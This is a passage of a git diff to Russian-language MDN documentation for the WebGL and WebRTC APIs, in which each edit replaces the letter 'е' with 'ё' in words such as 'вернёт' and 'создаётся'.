<li>Не следует использовать <code>#ifdef GL_ES в шейдерах WebGL. Несмотря на то что в некоторых ранних примерах используются эти директивы, это не обязательно в том случае, если проверяемое условие всегда истинно.</code></li> - <li>Использование высокой точности (<code>highp</code> precision) во фрагментных шейдерах может приводить к несовместимости вашего приложения с некоторыми устаревшими мобильными устройствами. Вы можете использовать среднюю точность (<code>mediump), но помните, что это может привести к некорректному результату отрисовки из-за потери данных на большинстве мобильных устройств, причем этот некорректный результат не будет заметен на обычном компьютере. В общем, только использование высокой точности (highp) в вершинном и фрагментном шейдерах является более надежными решением, если нет возможности тщательно проверить работу шейдеров на различных платформах. В Firefox версии 11 и выше реализована функция WebGL getShaderPrecisionFormat(), которая позволяет проверить, поддерживается ли высокая точность и, более того, запросить реальную точность всех поддерживаемых квалификаторов точности. </code></li> + <li>Использование высокой точности (<code>highp</code> precision) во фрагментных шейдерах может приводить к несовместимости вашего приложения с некоторыми устаревшими мобильными устройствами. Вы можете использовать среднюю точность (<code>mediump), но помните, что это может привести к некорректному результату отрисовки из-за потери данных на большинстве мобильных устройств, причём этот некорректный результат не будет заметен на обычном компьютере. В общем, только использование высокой точности (highp) в вершинном и фрагментном шейдерах является более надёжными решением, если нет возможности тщательно проверить работу шейдеров на различных платформах. В Firefox версии 11 и выше реализована функция WebGL getShaderPrecisionFormat(), которая позволяет проверить, поддерживается ли высокая точность и, более того, запросить реальную точность всех поддерживаемых квалификаторов точности. </code></li> </ul> <h2 id="О_чем_следует_помнить.">О чем следует помнить.</h2> @@ -22,7 +22,7 @@ translation_of: Web/API/WebGL_API/WebGL_best_practices <li>В частности, использование текстур в вершинном шейдере возможно только если значение <code>webgl.getParameter(webgl.MAX_VERTEX_TEXTURE_IMAGE_UNITS) больше ноля. Как правило, эта возможность не поддерживается на текущих мобильных устройствах.</code></li> <li>Доступность большинства расширений WebGL зависит от клиента. Если это возможно, проектируйте приложение так, чтобы оно оставалось работоспособным даже в случае, когда используемое расширение недоступно. В Firefox версии 10 и выше есть настройка<code> webgl.disable-extensions, позволяющая сымитировать отсутствие всех расширений для проверки переносимости приложения.</code></li> <li>Рендеринг в floating-point текстуру может не выполняться даже если расширение <code>OES_texture_float поддерживается. Обычно это случается на современных мобильных устройствах. Проверить эту возможность можно с помощью функции WebGL checkFramebufferStatus().</code></li> - <li>Вы можете выполнять отрисовку на холсте, реальные размеры которого отличается от значений, определенных в таблице стилей. При проблемах с производительностью рассмотрите возможность рендеринга в более низком разрешении. (<em>Уменьшение области рендеринга ускорит обработку пиксельных шейдеров, например, эффектов постобработки</em>, <em>однако, на скорость работы вершинных шейдеров это не повлияет.</em> <span class="forum_post_content med1" style="word-wrap: break-word;"><span class="ln_height" id="post_text_1166974"><em>прим. перев.).</em></span></span></li> + <li>Вы можете выполнять отрисовку на холсте, реальные размеры которого отличается от значений, определённых в таблице стилей. При проблемах с производительностью рассмотрите возможность рендеринга в более низком разрешении. (<em>Уменьшение области рендеринга ускорит обработку пиксельных шейдеров, например, эффектов постобработки</em>, <em>однако, на скорость работы вершинных шейдеров это не повлияет.</em> <span class="forum_post_content med1" style="word-wrap: break-word;"><span class="ln_height" id="post_text_1166974"><em>прим. перев.).</em></span></span></li> </ul> <h2 id="Общие_советы_по_повышению_производительности">Общие советы по повышению производительности</h2> @@ -30,7 +30,7 @@ translation_of: Web/API/WebGL_API/WebGL_best_practices <ul> <li>Все, что требует синхронизации ЦП и ГП потенциально приводит в уменьшению производительности. Поэтому избегайте в цикле отрисовки следующих вызовов функций WebGL: <code>getError()</code>, <code>readPixels()</code> и <code>finish()</code>. Вызовы функций, получающих значения, такие как <code>getParameter()</code> и <code>getUniformLocation() тоже должны рассматриваться как медленные и их значения следует сохраняться в переменных JavaScript.</code></li> <li>Несколько больших операций отрисовки выполняются быстрее, чем много мелких. Если вам нужно нарисовать 1000 спрайтов, попробуйте реализовать это одним вызовом функции<code> drawArrays()</code> или <code>drawElements(). Вы также можете использовать вырожденные (плоские) треугольники для рисования нескольких объектов за один вызов drawArrays().</code></li> - <li>Уменьшение переключений состояний также увеличивает производительность. В частности, если есть возможность упаковать несколько изображений в одну текстуру <em>(т.н. текстурный атлас, прим. перев.)</em> и отображать требуемое изображение с помощью поправок текстурных координат, то это приведет к уменьшению переключений между текстурами, что увеличит производительность. + <li>Уменьшение переключений состояний также увеличивает производительность. В частности, если есть возможность упаковать несколько изображений в одну текстуру <em>(т.н. текстурный атлас, прим. перев.)</em> и отображать требуемое изображение с помощью поправок текстурных координат, то это приведёт к уменьшению переключений между текстурами, что увеличит производительность. <ul> <li>В некоторых редких случаях разные одноцветные изображения можно упаковать в разные цветовые каналы текстуры.</li> </ul> diff --git a/files/ru/web/api/webglrenderingcontext/activetexture/index.html b/files/ru/web/api/webglrenderingcontext/activetexture/index.html index 4bbea586ed..b23d2c5b8d 100644 --- a/files/ru/web/api/webglrenderingcontext/activetexture/index.html +++ b/files/ru/web/api/webglrenderingcontext/activetexture/index.html @@ -43,7 +43,7 @@ translation_of: Web/API/WebGLRenderingContext/activeTexture <pre class="brush: js">gl.activeTexture(gl.TEXTURE0); gl.getParameter(gl.ACTIVE_TEXTURE); -// вернет "33984" (0x84C0, gl.TEXTURE0 enum value) +// вернёт "33984" (0x84C0, gl.TEXTURE0 enum value) </pre> <h2 id="Спецификация">Спецификация</h2> @@ -70,7 +70,7 @@ gl.getParameter(gl.ACTIVE_TEXTURE); <h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2> -<p class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад в данные, ознакомьтесь с https://github.com/mdn/browser-compat-data и отправить нам запрос на слияние.</p> +<p class="hidden">Таблица совместимости на этой странице создаётся из структурированных данных. Если вы хотите внести свой вклад в данные, ознакомьтесь с https://github.com/mdn/browser-compat-data и отправить нам запрос на слияние.</p> <p>{{Compat("api.WebGLRenderingContext.activeTexture")}}</p> diff --git a/files/ru/web/api/webglrenderingcontext/bindtexture/index.html b/files/ru/web/api/webglrenderingcontext/bindtexture/index.html index 2a3fd529b3..38d9a3aaa0 100644 --- a/files/ru/web/api/webglrenderingcontext/bindtexture/index.html +++ b/files/ru/web/api/webglrenderingcontext/bindtexture/index.html @@ -22,7 +22,7 @@ translation_of: Web/API/WebGLRenderingContext/bindTexture <li><code>gl.TEXTURE_CUBE_MAP</code>: кубическая текстура.</li> <li>При использовании {{domxref("WebGL2RenderingContext", "WebGL 2 context", "", 1)}}, дополнительно доступны: <ul> - <li><code>gl.TEXTURE_3D</code>: трехмерная текстура.</li> + <li><code>gl.TEXTURE_3D</code>: трёхмерная текстура.</li> <li><code>gl.TEXTURE_2D_ARRAY</code>: массив двумерных текстур.</li> </ul> </li> @@ -93,7 +93,7 @@ gl.bindTexture(gl.TEXTURE_2D, texture); <h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2> -<p class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад в данные, ознакомьтесь с https://github.com/mdn/browser-compat-data и отправить нам запрос на слияние.</p> +<p class="hidden">Таблица совместимости на этой странице создаётся из структурированных данных. Если вы хотите внести свой вклад в данные, ознакомьтесь с https://github.com/mdn/browser-compat-data и отправить нам запрос на слияние.</p> <p>{{Compat("api.WebGLRenderingContext.bindTexture")}}</p> diff --git a/files/ru/web/api/webglrenderingcontext/compileshader/index.html b/files/ru/web/api/webglrenderingcontext/compileshader/index.html index 9ecb9bd735..b68ba5b4be 100644 --- a/files/ru/web/api/webglrenderingcontext/compileshader/index.html +++ b/files/ru/web/api/webglrenderingcontext/compileshader/index.html @@ -50,7 +50,7 @@ gl.compileShader(shader); <h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2> -<p class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад в данные, ознакомьтесь с https://github.com/mdn/browser-compat-data и отправить нам запрос на слияние.</p> +<p class="hidden">Таблица совместимости на этой странице создаётся из структурированных данных. Если вы хотите внести свой вклад в данные, ознакомьтесь с https://github.com/mdn/browser-compat-data и отправить нам запрос на слияние.</p> <p>{{Compat("api.WebGLRenderingContext.compileShader")}}</p> diff --git a/files/ru/web/api/webglrenderingcontext/enable/index.html b/files/ru/web/api/webglrenderingcontext/enable/index.html index d7cc40db94..fe955d5073 100644 --- a/files/ru/web/api/webglrenderingcontext/enable/index.html +++ b/files/ru/web/api/webglrenderingcontext/enable/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/WebGLRenderingContext/enable --- <div>{{APIRef("WebGL")}}</div> -<p>Метод <strong><code>WebGLRenderingContext.enable()</code></strong> из <a href="/en-US/docs/Web/API/WebGL_API">WebGL API</a> активирует определенные возможности WebGL для текущего контекста.</p> +<p>Метод <strong><code>WebGLRenderingContext.enable()</code></strong> из <a href="/en-US/docs/Web/API/WebGL_API">WebGL API</a> активирует определённые возможности WebGL для текущего контекста.</p> <h2 id="Синтаксис">Синтаксис</h2> diff --git a/files/ru/web/api/webglrenderingcontext/getshaderinfolog/index.html b/files/ru/web/api/webglrenderingcontext/getshaderinfolog/index.html index e91fa4e851..e34cc75d94 100644 --- a/files/ru/web/api/webglrenderingcontext/getshaderinfolog/index.html +++ b/files/ru/web/api/webglrenderingcontext/getshaderinfolog/index.html @@ -65,7 +65,7 @@ if (message.length > 0) { <h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2> -<p class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад в данные, ознакомьтесь с https://github.com/mdn/browser-compat-data и отправить нам запрос на слияние.</p> +<p class="hidden">Таблица совместимости на этой странице создаётся из структурированных данных. Если вы хотите внести свой вклад в данные, ознакомьтесь с https://github.com/mdn/browser-compat-data и отправить нам запрос на слияние.</p> <p>{{Compat("api.WebGLRenderingContext.getShaderInfoLog")}}</p> diff --git a/files/ru/web/api/webglrenderingcontext/index.html b/files/ru/web/api/webglrenderingcontext/index.html index 2db54961f0..550dc0f367 100644 --- a/files/ru/web/api/webglrenderingcontext/index.html +++ b/files/ru/web/api/webglrenderingcontext/index.html @@ -72,11 +72,11 @@ var gl = canvas.getContext('webgl'); <dt>{{domxref("WebGLRenderingContext.blendFuncSeparate()")}}</dt> <dd>Определяет, какая арифметическая функция используется для смешивания пикселей для RGB и альфа-компонентов по отдельности.</dd> <dt>{{domxref("WebGLRenderingContext.clearColor()")}}</dt> - <dd>Задает значения цвета, используемые при очистке цветовых буферов.</dd> + <dd>Задаёт значения цвета, используемые при очистке цветовых буферов.</dd> <dt>{{domxref("WebGLRenderingContext.clearDepth()")}}</dt> - <dd>Задает значение глубины, используемый при очистке буфера глубины.</dd> + <dd>Задаёт значение глубины, используемый при очистке буфера глубины.</dd> <dt>{{domxref("WebGLRenderingContext.clearStencil()")}}</dt> - <dd>Задает значение шаблона, используемый при очистке буфера шаблона.</dd> + <dd>Задаёт значение шаблона, используемый при очистке буфера шаблона.</dd> <dt>{{domxref("WebGLRenderingContext.colorMask()")}}</dt> <dd>Устанавливает какие цветовые компоненты для включены или выключены при отрисовке или рендеринге на{{domxref("WebGLFramebuffer")}}.</dd> <dt>{{domxref("WebGLRenderingContext.cullFace()")}}</dt> @@ -98,7 +98,7 @@ var gl = canvas.getContext('webgl'); <dt>{{domxref("WebGLRenderingContext.getError()")}}</dt> <dd>Возвращает информацию об ошибках.</dd> <dt>{{domxref("WebGLRenderingContext.hint()")}}</dt> - <dd>Указывает подсказки для определенного поведения. Интерпретация этих подсказок зависит от реализации.</dd> + <dd>Указывает подсказки для определённого поведения. Интерпретация этих подсказок зависит от реализации.</dd> <dt>{{domxref("WebGLRenderingContext.isEnabled()")}}</dt> <dd>Проверяет, включена или нет конкретная способность WebG.</dd> <dt>{{domxref("WebGLRenderingContext.lineWidth()")}}</dt> @@ -106,7 +106,7 @@ var gl = canvas.getContext('webgl'); <dt>{{domxref("WebGLRenderingContext.pixelStorei()")}}</dt> <dd>Определяет режимы хранилища пикселей</dd> <dt>{{domxref("WebGLRenderingContext.polygonOffset()")}}</dt> - <dd>Определяет факторы масштабирования и единицы для расчета значения глубины.</dd> + <dd>Определяет факторы масштабирования и единицы для расчёта значения глубины.</dd> <dt>{{domxref("WebGLRenderingContext.sampleCoverage()")}}</dt> <dd>Определяет составные параметры для сглаживания эффектов.</dd> <dt>{{domxref("WebGLRenderingContext.stencilFunc()")}}</dt> diff --git a/files/ru/web/api/webglrenderingcontext/shadersource/index.html b/files/ru/web/api/webglrenderingcontext/shadersource/index.html index 86ac976ab8..c41d33671f 100644 --- a/files/ru/web/api/webglrenderingcontext/shadersource/index.html +++ b/files/ru/web/api/webglrenderingcontext/shadersource/index.html @@ -56,7 +56,7 @@ var source = gl.getShaderSource(shader);</pre> <h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2> -<p class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад в данные, ознакомьтесь с https://github.com/mdn/browser-compat-data и отправить нам запрос на слияние.</p> +<p class="hidden">Таблица совместимости на этой странице создаётся из структурированных данных. Если вы хотите внести свой вклад в данные, ознакомьтесь с https://github.com/mdn/browser-compat-data и отправить нам запрос на слияние.</p> <p>{{Compat("api.WebGLRenderingContext.shaderSource")}}</p> diff --git a/files/ru/web/api/webglrenderingcontext/uniform/index.html b/files/ru/web/api/webglrenderingcontext/uniform/index.html index 91a02ac2b9..d1f8c30223 100644 --- a/files/ru/web/api/webglrenderingcontext/uniform/index.html +++ b/files/ru/web/api/webglrenderingcontext/uniform/index.html @@ -88,7 +88,7 @@ gl.uniform1iv(samplerCubeUniformLoc, [v]); // для samplerCube или масс <h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2> -<p class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад в данные, ознакомьтесь с https://github.com/mdn/browser-compat-data и отправить нам запрос на слияние.</p> +<p class="hidden">Таблица совместимости на этой странице создаётся из структурированных данных. Если вы хотите внести свой вклад в данные, ознакомьтесь с https://github.com/mdn/browser-compat-data и отправить нам запрос на слияние.</p> <p>{{Compat("api.WebGLRenderingContext.uniform1f")}}</p> diff --git a/files/ru/web/api/webrtc_api/adapter.js/index.html b/files/ru/web/api/webrtc_api/adapter.js/index.html index efe5581fc2..575e045e1f 100644 --- a/files/ru/web/api/webrtc_api/adapter.js/index.html +++ b/files/ru/web/api/webrtc_api/adapter.js/index.html @@ -7,7 +7,7 @@ translation_of: Web/API/WebRTC_API/adapter.js --- <p>{{WebRTCSidebar}}</p> -<p>Несмотря на то, что WebRTC <a href="http://www.w3.org/TR/webrtc/">спецификация</a> относительно стабильна, не все еще браузеры полностью реализуют её функциональность. Некоторые реализации в браузерах все еще содержат префиксы производителей в некоторых, или даже всех WebRTC интерфейсах, и разработчик может самостоятельно, в ручную, учесть вопросы несовместимости в своем коде. Но есть более простой выход. Организация <span class="seoSummary">WebRTC</span> <span class="seoSummary"><a href="https://github.com/webrtc/adapter/">предлагает библиотеку adapter.js</a> для обработки вопросов несовместимостей в различных браузерных реализациях WebRTC. Эта библиотека является JavaScript клином, позволяющим писать код в соответствии со спецификацией, чтобы он работал во всех браузерах с различным уровнем поддержки WebRTC. С ней нет необходимости условно использовать префиксные интерфейсы или реализовывать обходные пути</span></p> +<p>Несмотря на то, что WebRTC <a href="http://www.w3.org/TR/webrtc/">спецификация</a> относительно стабильна, не все ещё браузеры полностью реализуют её функциональность. Некоторые реализации в браузерах все ещё содержат префиксы производителей в некоторых, или даже всех WebRTC интерфейсах, и разработчик может самостоятельно, в ручную, учесть вопросы несовместимости в своём коде. Но есть более простой выход. Организация <span class="seoSummary">WebRTC</span> <span class="seoSummary"><a href="https://github.com/webrtc/adapter/">предлагает библиотеку adapter.js</a> для обработки вопросов несовместимостей в различных браузерных реализациях WebRTC. Эта библиотека является JavaScript клином, позволяющим писать код в соответствии со спецификацией, чтобы он работал во всех браузерах с различным уровнем поддержки WebRTC. С ней нет необходимости условно использовать префиксные интерфейсы или реализовывать обходные пути</span></p> <div class="note"> <p><strong>Примечание :</strong> Поскольку функциональность и названия API-терминов в WebRTC и поддерживаемых браузерах постоянно изменяются, обычно рекомендуется использовать этот адаптер.</p> diff --git a/files/ru/web/api/webrtc_api/index.html b/files/ru/web/api/webrtc_api/index.html index 1c3d082d99..e1563f8e4f 100644 --- a/files/ru/web/api/webrtc_api/index.html +++ b/files/ru/web/api/webrtc_api/index.html @@ -7,7 +7,7 @@ translation_of: Web/API/WebRTC_API <p><span class="seoSummary"><strong>WebRTC</strong> (Web Real-Time Communications) - это технология, которая позволяет Web-приложениям и сайтам захватывать и выборочно передавать аудио и/или видео медиа-потоки, а также обмениваться произвольными данными между браузерами, без обязательного использования посредников. Набор стандартов, которые включает в себя технология WebRTC, позволяет обмениваться данными и проводить пиринговые телеконференции, без необходимости пользователю устанавливать плагины или любое другое стороннее программное обеспечение.</span></p> -<p>WebRTC состоит из нескольких взаимосвязанных программных интерфейсов (API) и протоколов, которые работают вместе. Документация, которую вы здесь найдете, поможет вам понять основы WebRTC, как настроить и использовать соединение для передачи данных и медиа-потока, и многое другое.</p> +<p>WebRTC состоит из нескольких взаимосвязанных программных интерфейсов (API) и протоколов, которые работают вместе. Документация, которую вы здесь найдёте, поможет вам понять основы WebRTC, как настроить и использовать соединение для передачи данных и медиа-потока, и многое другое.</p> <h2 id="Совместимость">Совместимость</h2> @@ -39,7 +39,7 @@ translation_of: Web/API/WebRTC_API <dl> <dt>{{domxref("RTCPeerConnection")}}</dt> - <dd>Представляет WebRTC соединение между локальным компьютером и удаленным узлом. Используется для обработки успешной передачи данных между двумя узлами.</dd> + <dd>Представляет WebRTC соединение между локальным компьютером и удалённым узлом. Используется для обработки успешной передачи данных между двумя узлами.</dd> <dt>{{domxref("RTCSessionDescription")}}</dt> <dd>Представляет параметры сессии. Каждый <code>RTCSessionDescription </code>содержит описания <a href="/en-US/docs/Web/API/RTCSessionDescription/type">типа</a>, показывающего какую часть (предложение/ответ) процесса переговоров он описывает, и <a href="/en-US/docs/Glossary/SDP">SDP</a>-дескриптор сессии<code>.</code></dd> <dt>{{domxref("RTCIceCandidate")}}</dt> @@ -47,7 +47,7 @@ translation_of: Web/API/WebRTC_API <dt>{{domxref("RTCIceTransport")}}</dt> <dd>Представляет информацию о средстве подключения к Интернету (ICE).</dd> <dt>{{domxref("RTCPeerConnectionIceEvent")}}</dt> - <dd>Представляет события, которые происходят в отношении кандидатов ICE, обычно {{domxref ("RTCPeerConnection")}}. Один тип передается данному объекту события: {{event ("icecandidate")}}.</dd> + <dd>Представляет события, которые происходят в отношении кандидатов ICE, обычно {{domxref ("RTCPeerConnection")}}. Один тип передаётся данному объекту события: {{event ("icecandidate")}}.</dd> <dt>{{domxref("RTCRtpSender")}}</dt> <dd>Управляет кодированием и передачей данных через объект типа {{domxref("MediaStreamTrack")}} для объекта типа {{domxref("RTCPeerConnection")}}.</dd> <dt>{{domxref("RTCRtpReceiver")}}</dt> @@ -59,7 +59,7 @@ translation_of: Web/API/WebRTC_API <dt>{{domxref("RTCDataChannel")}}</dt> <dd>Представляет двунаправленный канал данных между двумя узлами соединения.</dd> <dt>{{domxref("RTCDataChannelEvent")}}</dt> - <dd>Представляет события, которые возникают при присоединении объекта типа {{domxref("RTCDataChannel")}} к объекту типа {{domxref("RTCPeerConnection")}}. Один тип передается этому событию {{event("datachannel")}}.</dd> + <dd>Представляет события, которые возникают при присоединении объекта типа {{domxref("RTCDataChannel")}} к объекту типа {{domxref("RTCPeerConnection")}}. Один тип передаётся этому событию {{event("datachannel")}}.</dd> <dt>{{domxref("RTCDTMFSender")}}</dt> <dd>Управляет кодированием и передачей двухтональной мультичастотной (DTMF) сигнализацией для объекта типа {{domxref("RTCPeerConnection")}}.</dd> <dt>{{domxref("RTCDTMFToneChangeEvent")}}</dt> @@ -71,9 +71,9 @@ translation_of: Web/API/WebRTC_API <dt>{{domxref("RTCIdentityProvider")}}</dt> <dd>Активирует возможность браузеру запросить создание или проверку объявления идентификации.</dd> <dt>{{domxref("RTCIdentityAssertion")}}</dt> - <dd>Представляет идентификатор удаленного узла текущего соединения. Если узел еще не установлен и подтвержден, ссылка на интерфейс вернет <code>null</code>. После установки не изменяется.</dd> + <dd>Представляет идентификатор удалённого узла текущего соединения. Если узел ещё не установлен и подтверждён, ссылка на интерфейс вернёт <code>null</code>. После установки не изменяется.</dd> <dt>{{domxref("RTCIdentityEvent")}}</dt> - <dd>Представляет объект события объявление идентификатора провайдером идентификации (idP). Событие объекта типа {{domxref("RTCPeerConnection")}}. Один тип передается этому событию {{event("identityresult")}}.</dd> + <dd>Представляет объект события объявление идентификатора провайдером идентификации (idP). Событие объекта типа {{domxref("RTCPeerConnection")}}. Один тип передаётся этому событию {{event("identityresult")}}.</dd> <dt>{{domxref("RTCIdentityErrorEvent")}}</dt> <dd>Представляет объект события ошибки, связанной с провайдером идентификации (idP). Событие объекта типа {{domxref("RTCPeerConnection")}}. Два типа ошибки передаются этому событию : {{event("idpassertionerror")}} и {{event("idpvalidationerror")}}.</dd> </dl> @@ -84,11 +84,11 @@ translation_of: Web/API/WebRTC_API <dt><a href="/en-US/docs/Web/API/WebRTC_API/Architecture">Обзор архитектуры WebRTC</a></dt> <dd>Под API, который применяют разработчики, чтобы создавать и использовать WebRTC, расположен набор сетевых протоколов и стандартов соединения. Этот обзор - витрина этих стандартов.</dd> <dt><a href="https://developer.mozilla.org/ru/docs/Web/API/WebRTC_API/Session_lifetime">Жизнь WebRTC-сессии</a></dt> - <dd>WebRTC позволяет вам организовать соединение в режиме узел-узел для передачи произвольных данных, аудио-, видео-потоков или любую их комбинацию в браузере. В этой статье мы взглянем на жизнь WebRTC-сессии, начиная с установки соединения и пройдем весь путь до его завершения, когда оно больше не нужно.</dd> + <dd>WebRTC позволяет вам организовать соединение в режиме узел-узел для передачи произвольных данных, аудио-, видео-потоков или любую их комбинацию в браузере. В этой статье мы взглянем на жизнь WebRTC-сессии, начиная с установки соединения и пройдём весь путь до его завершения, когда оно больше не нужно.</dd> <dt><a href="/en-US/docs/Web/API/WebRTC_API/Overview">Обзор WebRTC API</a></dt> <dd>WebRTC состоит из нескольких взаимосвязанных программных интерфейсов (API) и протоколов, которые работают вместе, чтобы обеспечить поддержку обмена данными и медиа-потоками между двумя и более узлами. В этой статье представлен краткий обзор каждого из этих API и какую цель он преследует.</dd> <dt><a href="/en-US/docs/Web/API/WebRTC_API/WebRTC_basics">Основы WebRTC</a></dt> - <dd>Эта статья проведет вас через создание кросс-браузерного RTC-приложения. К концу этой статьи вы должны иметь работающий дата- и медиа-канал, работающий в режиме точка-точка.</dd> + <dd>Эта статья проведёт вас через создание кросс-браузерного RTC-приложения. К концу этой статьи вы должны иметь работающий дата- и медиа-канал, работающий в режиме точка-точка.</dd> <dt><a href="/en-US/docs/Web/API/WebRTC_API/Protocols">Протоколы WebRTC</a></dt> <dd>В этой статье представлены протоколы, в дополнение к которым создан API WebRTC.</dd> </dl> @@ -113,7 +113,7 @@ translation_of: Web/API/WebRTC_API <dt><a href="/en-US/docs/Web/API/WebRTC_API/Simple_RTCDataChannel_sample">Простой пример канала данных RTCDataChannel</a></dt> <dd>Интерфейс {{domxref("RTCDataChannel")}} - это функциональность, которая позволяет открыть канал передачи данных между двумя узлами, по которому можно предавать произвольные данные. Эти API намеренно подобны <a href="/en-US/docs/Web/API/WebSocket_API">WebSocket API</a>, так, что бы в обоих могла использоваться единая модель программирования.</dd> <dt><a href="/en-US/docs/Web/API/WebRTC_API/Signaling_and_video_calling">Сигнализация и двухсторонние видео вызовы</a></dt> - <dd>Например, мы берем чат на веб сокете, который мы создали в другом примере, и добавляем в него способность создавать видео вызовы. Сервер чата расширяется функциональностью обработки WebRTC сигнализации.</dd> + <dd>Например, мы берём чат на веб сокете, который мы создали в другом примере, и добавляем в него способность создавать видео вызовы. Сервер чата расширяется функциональностью обработки WebRTC сигнализации.</dd> </dl> <h2 id="Ресурсы_2"><a id="Ресурсы" name="Ресурсы">Ресурсы</a></h2> diff --git a/files/ru/web/api/webrtc_api/session_lifetime/index.html b/files/ru/web/api/webrtc_api/session_lifetime/index.html index 0b052b5475..adf957e2fd 100644 --- a/files/ru/web/api/webrtc_api/session_lifetime/index.html +++ b/files/ru/web/api/webrtc_api/session_lifetime/index.html @@ -7,11 +7,11 @@ translation_of: Web/API/WebRTC_API/Session_lifetime <div class="summary"> <dl> - <dd>WebRTC позволяет браузерным приложениям построить соединение в режиме узел-узел для передачи произвольных данных, аудио-, видео-потоков или любую их комбинацию. В этой статье мы увидим то, как живет WebRTC-сессия, начиная с установки соединения и пройдём через весь путь до его завершения, если соединение больше не нужно.</dd> + <dd>WebRTC позволяет браузерным приложениям построить соединение в режиме узел-узел для передачи произвольных данных, аудио-, видео-потоков или любую их комбинацию. В этой статье мы увидим то, как живёт WebRTC-сессия, начиная с установки соединения и пройдём через весь путь до его завершения, если соединение больше не нужно.</dd> </dl> </div> -<p>Эта статья не вдается в детали фактически использованных API в установке и обработке WebRTC-соединения. Это просто обзор процесса в целом с некоторой информацией о том, для чего нужен каждый шаг. Смотрите статью <a href="/en-US/docs/Web/API/WebRTC_API/Signaling_and_video_calling">Signaling and video calling</a>, чтобы получить пример с пошаговым объяснением того, что делает код.</p> +<p>Эта статья не вдаётся в детали фактически использованных API в установке и обработке WebRTC-соединения. Это просто обзор процесса в целом с некоторой информацией о том, для чего нужен каждый шаг. Смотрите статью <a href="/en-US/docs/Web/API/WebRTC_API/Signaling_and_video_calling">Signaling and video calling</a>, чтобы получить пример с пошаговым объяснением того, что делает код.</p> <div class="note"> <p>Эта страница находится в стадии разработки, и некоторое из содержания будут перемещаться на другие страницы, как направляющий материал. </p> @@ -21,7 +21,7 @@ translation_of: Web/API/WebRTC_API/Session_lifetime <h2 id="Установка_соединения">Установка соединения</h2> -<p>Интернет большой. Реально большой. Умные люди, несколько лет назад, заметив то, насколько он велик, каким большим он может стать и то как быстро растёт, а также ограничения 32-битной системы адресации протокола IP, и поняли, что нужно начать что-то делать, чтобы создать новую 64-битную систему адресации. Но в какой-то момент они так же пришли к выводу, что переход на новую систему займёт больше времени, чем продержатся 32-разрядные адреса. Затем другие умные люди придумали способ, позволяющий нескольким компьютерам использовать один и тот же 32-итный IP-адрес. Network Address Translation ({{Glossary("NAT")}}) - это стандарт, который поддерживает разделение адреса путем маршрутизации входящих и исходящих пакетов данных в и из локальной сети (LAN), которые разделяют единственный WAN (глобальный) адрес.</p> +<p>Интернет большой. Реально большой. Умные люди, несколько лет назад, заметив то, насколько он велик, каким большим он может стать и то как быстро растёт, а также ограничения 32-битной системы адресации протокола IP, и поняли, что нужно начать что-то делать, чтобы создать новую 64-битную систему адресации. Но в какой-то момент они так же пришли к выводу, что переход на новую систему займёт больше времени, чем продержатся 32-разрядные адреса. Затем другие умные люди придумали способ, позволяющий нескольким компьютерам использовать один и тот же 32-итный IP-адрес. Network Address Translation ({{Glossary("NAT")}}) - это стандарт, который поддерживает разделение адреса путём маршрутизации входящих и исходящих пакетов данных в и из локальной сети (LAN), которые разделяют единственный WAN (глобальный) адрес.</p> <p>Проблемой для пользователя является то, что каждый отдельный компьютер в сети Интернет не обязан иметь уникальный IP-адрес, и по сути, IP-адрес устройства может измениться не только тогда, когда оно перемещается из одной сети в другую, но и если их сетевой адрес был изменён {{Glossary("NAT")}} и/или {{interwiki("wikipedia", "DHCP")}}. Для разработчиков, пытающихся строить одноранговые сети, эта ситуация является хорошей головоломкой: без уникального идентификатора для каждого устройства, нет возможности моментально автоматически выяснить то, как подключиться к конкретному устройству в Интернет. Если вызнаете, с кем вы хотите поговорить, вам не обязательно знать, какой адрес у вашего собеседника.</p> @@ -31,7 +31,7 @@ translation_of: Web/API/WebRTC_API/Session_lifetime <h3 id="Процесс_Сигнализации">Процесс Сигнализации</h3> -<p>Сигнализация - это процесс передачи управляющей информации между двумя устройствами для определения протоколов связи, каналов, кодирования и формата медиа-данных, методов передачи данных, а также информации, необходимой для маршрутизации. Наиболее важная вещь, о которой нужно знать о процессе сигнализации для WebRTC - <strong>этот процесс не определен в спецификации</strong>.</p> +<p>Сигнализация - это процесс передачи управляющей информации между двумя устройствами для определения протоколов связи, каналов, кодирования и формата медиа-данных, методов передачи данных, а также информации, необходимой для маршрутизации. Наиболее важная вещь, о которой нужно знать о процессе сигнализации для WebRTC - <strong>этот процесс не определён в спецификации</strong>.</p> <p>Вы можете задаться вопросом, почему нечто основоположное для процесса установки WebRTC-соединения вынесено из спецификации? Ответ прост: потому как два устройства не могут контактировать друг с другом, и спецификация не может предусмотреть все возможные способы использования WebRTC, также это приобретает ещё больший смысл с точки зрения предоставления разработчику возможности выбора наиболее подходящей сетевой технологии и протоколов передачи сообщений.</p> @@ -58,18 +58,18 @@ translation_of: Web/API/WebRTC_API/Session_lifetime <p>Существует последовательность действий, которую нужно выполнить, чтобы стало возможным начало WebRTC-сессии:</p> <ol> - <li>Каждый узел создает объект {{domxref("RTCPeerConnection")}}, представляющий собой WebRTC-сессию и сохраняющийся до её завершения.</li> + <li>Каждый узел создаёт объект {{domxref("RTCPeerConnection")}}, представляющий собой WebRTC-сессию и сохраняющийся до её завершения.</li> <li>Каждый узел устанавливает обработчик события {{event("icecandidate")}},которая занимается отправкой этих кандидатов в другую сторону по каналу сигнализации.</li> - <li>Каждый узел устанавливает обработчик события {{event("addstream")}}, которое срабатывает когда начинает приходить поток данных от удаленного узла. Этот обработчик должен подключить этот поток к потребителю, например к элементу {{HTMLElement("video")}}.</li> - <li>Вызывающий узел создает уникальный идентификатор, токен или нечто, что сможет идентифицировать вызов на сигнальном сервере, и обмениваться с принимающим узлом. Форма и содержимое идентификатора остается на усмотрение разработчика.</li> + 